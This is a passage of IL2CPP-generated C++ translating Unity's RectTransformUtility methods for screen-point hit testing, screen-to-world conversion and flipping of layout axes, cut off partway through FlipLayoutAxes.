#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Boolean UnityEngine.RectTransformUtility::RectangleContainsScreenPoint(UnityEngine.RectTransform,UnityEngine.Vector2,UnityEngine.Camera)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_RectangleContainsScreenPoint_mDED32A2F3CD5C623FBA3FFE2C49AEB861D33DE14 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPoint1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_RectangleContainsScreenPoint_mDED32A2F3CD5C623FBA3FFE2C49AEB861D33DE14_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
bool V_0 = false;
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_0 = ___screenPoint1;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_1 = ___rect0;
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_2 = ___cam2;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
bool L_3 = RectTransformUtility_PointInRectangle_m31A8C0A3CFCC0B584A33C3A3F2692EF09D303CEE(L_0, L_1, L_2, /*hidden argument*/NULL);
V_0 = L_3;
goto IL_000f;
}
IL_000f:
{
bool L_4 = V_0;
return L_4;
}
}
// System.Boolean UnityEngine.RectTransformUtility::ScreenPointToWorldPointInRectangle(UnityEngine.RectTransform,UnityEngine.Vector2,UnityEngine.Camera,UnityEngine.Vector3&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_ScreenPointToWorldPointInRectangle_m821FF925C5B70477F153B4C053AE9E36A04A774F (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPoint1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * ___worldPoint3, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_ScreenPointToWorldPointInRectangle_m821FF925C5B70477F153B4C053AE9E36A04A774F_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 V_0;
memset((&V_0), 0, sizeof(V_0));
Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED V_1;
memset((&V_1), 0, sizeof(V_1));
float V_2 = 0.0f;
bool V_3 = false;
{
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * L_0 = ___worldPoint3;
IL2CPP_RUNTIME_CLASS_INIT(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_1 = Vector2_get_zero_mFE0C3213BB698130D6C5247AB4B887A59074D0A8(/*hidden argument*/NULL);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_2 = Vector2_op_Implicit_mD152B6A34B4DB7FFECC2844D74718568FE867D6F(L_1, /*hidden argument*/NULL);
*(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 *)L_0 = L_2;
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_3 = ___cam2;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_4 = ___screenPoint1;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 L_5 = RectTransformUtility_ScreenPointToRay_mB74CED011944E1E7CE3A24C433B9B660C5BADC73(L_3, L_4, /*hidden argument*/NULL);
V_0 = L_5;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_6 = ___rect0;
NullCheck(L_6);
Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 L_7 = Transform_get_rotation_m3AB90A67403249AECCA5E02BC70FCE8C90FE9FB9(L_6, /*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_il2cpp_TypeInfo_var);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_8 = Vector3_get_back_mE7EF8625637E6F8B9E6B42A6AE140777C51E02F7(/*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357_il2cpp_TypeInfo_var);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_9 = Quaternion_op_Multiply_mD5999DE317D808808B72E58E7A978C4C0995879C(L_7, L_8, /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_10 = ___rect0;
NullCheck(L_10);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_11 = Transform_get_position_mF54C3A064F7C8E24F1C56EE128728B2E4485E294(L_10, /*hidden argument*/NULL);
Plane__ctor_m6535EAD5E675627C2533962F1F7890CBFA2BA44A((Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED *)(&V_1), L_9, L_11, /*hidden argument*/NULL);
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 L_12 = V_0;
bool L_13 = Plane_Raycast_m04E61D7C78A5DA70F4F73F9805ABB54177B799A9((Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED *)(&V_1), L_12, (float*)(&V_2), /*hidden argument*/NULL);
if (L_13)
{
goto IL_004c;
}
}
{
V_3 = (bool)0;
goto IL_0061;
}
IL_004c:
{
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * L_14 = ___worldPoint3;
float L_15 = V_2;
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_16 = Ray_GetPoint_mE8830D3BA68A184AD70514428B75F5664105ED08((Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 *)(&V_0), L_15, /*hidden argument*/NULL);
*(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 *)L_14 = L_16;
V_3 = (bool)1;
goto IL_0061;
}
IL_0061:
{
bool L_17 = V_3;
return L_17;
}
}
// System.Boolean UnityEngine.RectTransformUtility::ScreenPointToLocalPointInRectangle(UnityEngine.RectTransform,UnityEngine.Vector2,UnityEngine.Camera,UnityEngine.Vector2&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_ScreenPointToLocalPointInRectangle_m2C389D4DCBB3CADB51A793702F13DF7CE837E153 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPoint1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___localPoint3, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_ScreenPointToLocalPointInRectangle_m2C389D4DCBB3CADB51A793702F13DF7CE837E153_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 V_0;
memset((&V_0), 0, sizeof(V_0));
bool V_1 = false;
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * L_0 = ___localPoint3;
IL2CPP_RUNTIME_CLASS_INIT(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_1 = Vector2_get_zero_mFE0C3213BB698130D6C5247AB4B887A59074D0A8(/*hidden argument*/NULL);
*(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)L_0 = L_1;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_2 = ___rect0;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_3 = ___screenPoint1;
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_4 = ___cam2;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
bool L_5 = RectTransformUtility_ScreenPointToWorldPointInRectangle_m821FF925C5B70477F153B4C053AE9E36A04A774F(L_2, L_3, L_4, (Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 *)(&V_0), /*hidden argument*/NULL);
if (!L_5)
{
goto IL_0035;
}
}
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * L_6 = ___localPoint3;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_7 = ___rect0;
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_8 = V_0;
NullCheck(L_7);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_9 = Transform_InverseTransformPoint_mB6E3145F20B531B4A781C194BAC43A8255C96C47(L_7, L_8, /*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_10 = Vector2_op_Implicit_mEA1F75961E3D368418BA8CEB9C40E55C25BA3C28(L_9, /*hidden argument*/NULL);
*(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)L_6 = L_10;
V_1 = (bool)1;
goto IL_003c;
}
IL_0035:
{
V_1 = (bool)0;
goto IL_003c;
}
IL_003c:
{
bool L_11 = V_1;
return L_11;
}
}
// UnityEngine.Ray UnityEngine.RectTransformUtility::ScreenPointToRay(UnityEngine.Camera,UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 RectTransformUtility_ScreenPointToRay_mB74CED011944E1E7CE3A24C433B9B660C5BADC73 (Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam0, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPos1, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_ScreenPointToRay_mB74CED011944E1E7CE3A24C433B9B660C5BADC73_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 V_0;
memset((&V_0), 0, sizeof(V_0));
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 V_1;
memset((&V_1), 0, sizeof(V_1));
{
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_0 = ___cam0;
IL2CPP_RUNTIME_CLASS_INIT(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var);
bool L_1 = Object_op_Inequality_m31EF58E217E8F4BDD3E409DEF79E1AEE95874FC1(L_0, (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *)NULL, /*hidden argument*/NULL);
if (!L_1)
{
goto IL_001f;
}
}
{
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_2 = ___cam0;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_3 = ___screenPos1;
IL2CPP_RUNTIME_CLASS_INIT(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_4 = Vector2_op_Implicit_mD152B6A34B4DB7FFECC2844D74718568FE867D6F(L_3, /*hidden argument*/NULL);
NullCheck(L_2);
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 L_5 = Camera_ScreenPointToRay_m27638E78502DB6D6D7113F81AF7C210773B828F3(L_2, L_4, /*hidden argument*/NULL);
V_0 = L_5;
goto IL_004a;
}
IL_001f:
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_6 = ___screenPos1;
IL2CPP_RUNTIME_CLASS_INIT(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_7 = Vector2_op_Implicit_mD152B6A34B4DB7FFECC2844D74718568FE867D6F(L_6, /*hidden argument*/NULL);
V_1 = L_7;
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * L_8 = (&V_1);
float L_9 = L_8->get_z_4();
L_8->set_z_4(((float)il2cpp_codegen_subtract((float)L_9, (float)(100.0f))));
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_10 = V_1;
IL2CPP_RUNTIME_CLASS_INIT(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_il2cpp_TypeInfo_var);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_11 = Vector3_get_forward_m3E2E192B3302130098738C308FA1EE1439449D0D(/*hidden argument*/NULL);
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 L_12;
memset((&L_12), 0, sizeof(L_12));
Ray__ctor_m695D219349B8AA4C82F96C55A27D384C07736F6B((&L_12), L_10, L_11, /*hidden argument*/NULL);
V_0 = L_12;
goto IL_004a;
}
IL_004a:
{
Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 L_13 = V_0;
return L_13;
}
}
// UnityEngine.Vector2 UnityEngine.RectTransformUtility::WorldToScreenPoint(UnityEngine.Camera,UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransformUtility_WorldToScreenPoint_m114DFD961456722DED0FFB2F8DCB46A04C2CCA20 (Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam0, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___worldPoint1, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_WorldToScreenPoint_m114DFD961456722DED0FFB2F8DCB46A04C2CCA20_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_0;
memset((&V_0), 0, sizeof(V_0));
{
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_0 = ___cam0;
IL2CPP_RUNTIME_CLASS_INIT(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var);
bool L_1 = Object_op_Equality_mBC2401774F3BE33E8CF6F0A8148E66C95D6CFF1C(L_0, (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *)NULL, /*hidden argument*/NULL);
if (!L_1)
{
goto IL_0026;
}
}
{
float L_2 = (&___worldPoint1)->get_x_2();
float L_3 = (&___worldPoint1)->get_y_3();
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_4;
memset((&L_4), 0, sizeof(L_4));
Vector2__ctor_mEE8FB117AB1F8DB746FB8B3EB4C0DA3BF2A230D0((&L_4), L_2, L_3, /*hidden argument*/NULL);
V_0 = L_4;
goto IL_0038;
}
IL_0026:
{
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_5 = ___cam0;
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_6 = ___worldPoint1;
NullCheck(L_5);
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 L_7 = Camera_WorldToScreenPoint_m880F9611E4848C11F21FDF1A1D307B401C61B1BF(L_5, L_6, /*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_8 = Vector2_op_Implicit_mEA1F75961E3D368418BA8CEB9C40E55C25BA3C28(L_7, /*hidden argument*/NULL);
V_0 = L_8;
goto IL_0038;
}
IL_0038:
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_9 = V_0;
return L_9;
}
}
// System.Void UnityEngine.RectTransformUtility::FlipLayoutOnAxis(UnityEngine.RectTransform,System.Int32,System.Boolean,System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_FlipLayoutOnAxis_mFECCA330C80845D0B75829C7DD242688911006AE (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, int32_t ___axis1, bool ___keepPositioning2, bool ___recursive3, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_FlipLayoutOnAxis_mFECCA330C80845D0B75829C7DD242688911006AE_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
int32_t V_0 = 0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * V_1 = NULL;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_2;
memset((&V_2), 0, sizeof(V_2));
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_3;
memset((&V_3), 0, sizeof(V_3));
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_4;
memset((&V_4), 0, sizeof(V_4));
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_5;
memset((&V_5), 0, sizeof(V_5));
float V_6 = 0.0f;
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_0 = ___rect0;
IL2CPP_RUNTIME_CLASS_INIT(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var);
bool L_1 = Object_op_Equality_mBC2401774F3BE33E8CF6F0A8148E66C95D6CFF1C(L_0, (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *)NULL, /*hidden argument*/NULL);
if (!L_1)
{
goto IL_0012;
}
}
{
goto IL_00f3;
}
IL_0012:
{
bool L_2 = ___recursive3;
if (!L_2)
{
goto IL_0055;
}
}
{
V_0 = 0;
goto IL_0048;
}
IL_0020:
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_3 = ___rect0;
int32_t L_4 = V_0;
NullCheck(L_3);
Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * L_5 = Transform_GetChild_mC86B9B61E4EC086A571B09EA7A33FFBF50DF52D3(L_3, L_4, /*hidden argument*/NULL);
V_1 = ((RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 *)IsInstSealed((RuntimeObject*)L_5, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20_il2cpp_TypeInfo_var));
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_6 = V_1;
IL2CPP_RUNTIME_CLASS_INIT(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var);
bool L_7 = Object_op_Inequality_m31EF58E217E8F4BDD3E409DEF79E1AEE95874FC1(L_6, (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *)NULL, /*hidden argument*/NULL);
if (!L_7)
{
goto IL_0043;
}
}
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_8 = V_1;
int32_t L_9 = ___axis1;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
RectTransformUtility_FlipLayoutOnAxis_mFECCA330C80845D0B75829C7DD242688911006AE(L_8, L_9, (bool)0, (bool)1, /*hidden argument*/NULL);
}
IL_0043:
{
int32_t L_10 = V_0;
V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_10, (int32_t)1));
}
IL_0048:
{
int32_t L_11 = V_0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_12 = ___rect0;
NullCheck(L_12);
int32_t L_13 = Transform_get_childCount_m7665D779DCDB6B175FB52A254276CDF0C384A724(L_12, /*hidden argument*/NULL);
if ((((int32_t)L_11) < ((int32_t)L_13)))
{
goto IL_0020;
}
}
{
}
IL_0055:
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_14 = ___rect0;
NullCheck(L_14);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_15 = RectTransform_get_pivot_mA5BEEE2069ACA7C0C717530EED3E7D811D46C463(L_14, /*hidden argument*/NULL);
V_2 = L_15;
int32_t L_16 = ___axis1;
int32_t L_17 = ___axis1;
float L_18 = Vector2_get_Item_m67344A67120E48C32D9419E24BA7AED29F063379((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_2), L_17, /*hidden argument*/NULL);
Vector2_set_Item_m2335DC41E2BB7E64C21CDF0EEDE64FFB56E7ABD1((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_2), L_16, ((float)il2cpp_codegen_subtract((float)(1.0f), (float)L_18)), /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_19 = ___rect0;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_20 = V_2;
NullCheck(L_19);
RectTransform_set_pivot_mB791A383B3C870B9CBD7BC51B2C95711C88E9DCF(L_19, L_20, /*hidden argument*/NULL);
bool L_21 = ___keepPositioning2;
if (!L_21)
{
goto IL_0084;
}
}
{
goto IL_00f3;
}
IL_0084:
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_22 = ___rect0;
NullCheck(L_22);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_23 = RectTransform_get_anchoredPosition_mCB2171DBADBC572F354CCFE3ACA19F9506F97907(L_22, /*hidden argument*/NULL);
V_3 = L_23;
int32_t L_24 = ___axis1;
int32_t L_25 = ___axis1;
float L_26 = Vector2_get_Item_m67344A67120E48C32D9419E24BA7AED29F063379((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_3), L_25, /*hidden argument*/NULL);
Vector2_set_Item_m2335DC41E2BB7E64C21CDF0EEDE64FFB56E7ABD1((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_3), L_24, ((-L_26)), /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_27 = ___rect0;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_28 = V_3;
NullCheck(L_27);
RectTransform_set_anchoredPosition_m4DD45DB1A97734A1F3A81E5F259638ECAF35962F(L_27, L_28, /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_29 = ___rect0;
NullCheck(L_29);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_30 = RectTransform_get_anchorMin_mB62D77CAC5A2A086320638AE7DF08135B7028744(L_29, /*hidden argument*/NULL);
V_4 = L_30;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_31 = ___rect0;
NullCheck(L_31);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_32 = RectTransform_get_anchorMax_m1E51C211FBB32326C884375C9F1E8E8221E5C086(L_31, /*hidden argument*/NULL);
V_5 = L_32;
int32_t L_33 = ___axis1;
float L_34 = Vector2_get_Item_m67344A67120E48C32D9419E24BA7AED29F063379((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_4), L_33, /*hidden argument*/NULL);
V_6 = L_34;
int32_t L_35 = ___axis1;
int32_t L_36 = ___axis1;
float L_37 = Vector2_get_Item_m67344A67120E48C32D9419E24BA7AED29F063379((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_5), L_36, /*hidden argument*/NULL);
Vector2_set_Item_m2335DC41E2BB7E64C21CDF0EEDE64FFB56E7ABD1((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_4), L_35, ((float)il2cpp_codegen_subtract((float)(1.0f), (float)L_37)), /*hidden argument*/NULL);
int32_t L_38 = ___axis1;
float L_39 = V_6;
Vector2_set_Item_m2335DC41E2BB7E64C21CDF0EEDE64FFB56E7ABD1((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_5), L_38, ((float)il2cpp_codegen_subtract((float)(1.0f), (float)L_39)), /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_40 = ___rect0;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_41 = V_4;
NullCheck(L_40);
RectTransform_set_anchorMin_mE965F5B0902C2554635010A5752728414A57020A(L_40, L_41, /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_42 = ___rect0;
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_43 = V_5;
NullCheck(L_42);
RectTransform_set_anchorMax_m55EEF00D9E42FE542B5346D7CEDAF9248736F7D3(L_42, L_43, /*hidden argument*/NULL);
}
IL_00f3:
{
return;
}
}
// System.Void UnityEngine.RectTransformUtility::FlipLayoutAxes(UnityEngine.RectTransform,System.Boolean,System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_FlipLayoutAxes_mF5D9BF9F0EACBC972A22C937FD21B610410EB956 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, bool ___keepPositioning1, bool ___recursive2, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_FlipLayoutAxes_mF5D9BF9F0EACBC972A22C937FD21B610410EB956_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
int32_t V_0 = 0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * V_1 = NULL;
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_0 = ___rect0;
IL2CPP_RUNTIME_CLASS_INIT(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var);
bool L_1 = Object_op_Equality_mBC2401774F3BE33E8CF6F0A8148E66C95D6CFF1C(L_0, (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *)NULL, /*hidden argument*/NULL);
if (!L_1)
{
goto IL_0012;
}
}
{
goto IL_00b4;
}
IL_0012:
{
bool L_2 = ___recursive2;
if (!L_2)
{
goto IL_0054;
}
}
{
V_0 = 0;
goto IL_0047;
}
IL_0020:
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_3 = ___rect0;
int32_t L_4 = V_0;
NullCheck(L_3);
Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * L_5 = Transform_GetChild_mC86B9B61E4EC086A571B09EA7A33FFBF50DF52D3(L_3, L_4, /*hidden argument*/NULL);
V_1 = ((RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 *)IsInstSealed((RuntimeObject*)L_5, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20_il2cpp_TypeInfo_var));
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_6 = V_1;
IL2CPP_RUNTIME_CLASS_INIT(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var);
bool L_7 = Object_op_Inequality_m31EF58E217E8F4BDD3E409DEF79E1AEE95874FC1(L_6, (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *)NULL, /*hidden argument*/NULL);
if (!L_7)
{
goto IL_0042;
}
}
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_8 = V_1;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
RectTransformUtility_FlipLayoutAxes_mF5D9BF9F0EACBC972A22C937FD21B610410EB956(L_8, (bool)0, (bool)1, /*hidden argument*/NULL);
}
IL_0042:
{
int32_t L_9 = V_0;
V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_9, (int32_t)1));
}
IL_0047:
{
int32_t L_10 = V_0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_11 = ___rect0;
NullCheck(L_11);
int32_t L_12 = Transform_get_childCount_m7665D779DCDB6B175FB52A254276CDF0C384A724(L_11, /*hidden argument*/NULL);
if ((((int32_t)L_10) < ((int32_t)L_12)))
{
goto IL_0020;
}
}
{
}
IL_0054:
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_13 = ___rect0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_14 = ___rect0;
NullCheck(L_14);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_15 = RectTransform_get_pivot_mA5BEEE2069ACA7C0C717530EED3E7D811D46C463(L_14, /*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
